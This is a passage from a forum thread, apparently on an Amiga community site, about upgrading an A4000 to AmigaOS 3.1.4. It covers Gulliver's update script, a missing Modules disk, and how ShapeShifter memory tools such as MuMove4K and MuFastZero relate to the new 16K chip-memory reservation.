Use the updateto314.lha script on Aminet from Gulliver, it does a 'transplant' of the new bits of 3.1.4 without reinstalling. You can see what it's going to do, and modify it if you need, because it's a shell script. Mostly it's just copying stuff over the top, except where there's a good reason to keep the 3.9 version.
can I install my new 3.14 ROMS in my A4000 and then run Gullivers 'updateto314.lha' script ??
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: F1Lupo on March 08, 2019, 08:50:12 PM
Use the updateto314.lha script on Aminet from Gulliver, it does a 'transplant' of the new bits of 3.1.4 without reinstalling. You can see what it's going to do, and modify it if you need, because it's a shell script. Mostly it's just copying stuff over the top, except where there's a good reason to keep the 3.9 version.
can I install my new 3.14 ROMS in my A4000 and then run Gullivers 'updateto314.lha' script ??
bump ;)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on March 08, 2019, 08:54:10 PM
Yes
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: F1Lupo on March 08, 2019, 09:01:54 PM
Yes
thanks want to backup and install new ROMS & 3.14 this weekend and praying it works out some 'instabililties' I've had in my A4000 :-\
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: F1Lupo on March 09, 2019, 03:58:53 AM
ok new ROMS in ok in my A4000, booted up fine and ran Gullivers 'updateto314' script on Aminet and all went well until it asked me the for 'MODULES" disk? tried all the disk and now getting 'not a DOS disk in DFO/ ???
 ??? update: ended up doing clean install of only 3.14 for now and system very stable...programs that would guru all the time before are working great as well as some demos etc. so happy so far and only need time to fine tune it to my liking which, based on experience, will take me years and years and years 8)
 
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: NinjaCyborg on March 09, 2019, 10:15:04 AM
Are you missing the modules disk?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: F1Lupo on March 09, 2019, 01:08:12 PM
Are you missing the modules disk?


oh so there is a modules disk?? I bought 2 copies with ROMS and disks for my 1200 and 4000 and both sets don’t have a modules disk??? ??? :o


will check out Hyperion’s site to see if I can download the missing ADF ....
update: indeed it was on Hyperion's website and shaking my head why it wasn't included with my purchase ? ::)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on March 11, 2019, 06:05:42 AM
update: indeed it was on Hyperion's website and shaking my head why it wasn't included with my purchase ? ::)
Because you already have all the modules on the kickstart ROMs you bought, and hence do not need any modules floppy.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kolla on March 11, 2019, 06:06:05 AM
(double post)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: F1Lupo on March 11, 2019, 08:01:17 AM
update: indeed it was on Hyperion's website and shaking my head why it wasn't included with my purchase ? ::)
Because you already have all the modules on the kickstart ROMs you bought, and hence do not need any modules floppy.
ah this is true but in this case I needed the Modules disk to continue with Gullivers 'updateto314' script on Aminet ...and yes I know I could just have copied over the files myself but still ;)
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: Gulliver on March 11, 2019, 11:50:45 AM
@klx300r

Hi, Just edit the script with any Amiga text editor, including ED, and remove/comment the lines about the Modules disk, save an run it.

The modules disk is only usefull to copy the LoadModules command to c: in your case.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: slaapliedje on March 21, 2019, 08:25:13 PM
MuFastZero still requires MuMove4K :(
Yes, but for something different, not for keeping the first 16K RAM free for emulators. What happens there is that a memory pool is created solely for the purpose for keeping execbase in it, so it can then be remapped by the MMU. This is very specific to the mmu.library and its working.

Went through setting up ShapeShifter last night, so I don't need to deal with MuMove4k or MuFastZero anymore?  I knew mmu.library was already included.

Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: guest11527 on March 22, 2019, 08:46:32 AM
Went through setting up ShapeShifter last night, so I don't need to deal with MuMove4k or MuFastZero anymore?  I knew mmu.library was already included.

These are two different things. First, ShapeShifter does require the first 16K free, for MacOs globals. This is what you required "MuMove4K" or "PrepareEmul" for. This is no longer required as the Os keeps the first 16K now free, so no additional steps required for ShapeShifter. MuFastZero is optional, and was always optional, i.e. you did not need to run it in the past. This did not change in 3.1.4.

However, since MacOs stores its globals in the first 16K, and because the first 16K are ChipMem, it is still of advantage to run MuFastZero. I.e. it is a "nice to have" but not a "must have".

Also, and quite independent of ShapeShifter, for some hardware configurations without autoconfiguring fast RAM, ExecBase ends up in chip mem, which slows down the system. In such setups, it is still of advantage to run MuMove4K and MuFastZero to also map ExecBase to fast ram.
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: kamelito on December 14, 2019, 08:42:51 PM
@Thomas Richter
« Exec now reserves 16K of chip memory for emulator business. You no longer need "PrepareEmul" or "MuMove4K" to run Shapeshifter and friends. If you need the 16K back, there is a utility on Aminet by now ("MoveLow") which restores the previous setting until the next reboot.« 

I think it should be the other way around, if users want to use an emulator they should use a tool to do so, the OS shouldn’t reserve 16k this is bad design IMO. Can you reverse this?
Title: Re: Os 3.1.4 - List of bug fixes and changes by component
Post by: TribbleSmasher on December 14, 2019, 10:19:12 PM
I think because the newer OS already needs more resources, it is highly incommon that the machine in question is a barebone used for playing games from disks. Therefore the ChipRAM issue is none in this regard. The machine will handle games from harddrive using WHDLoad or JST and can run Shapie without additional startup preparation.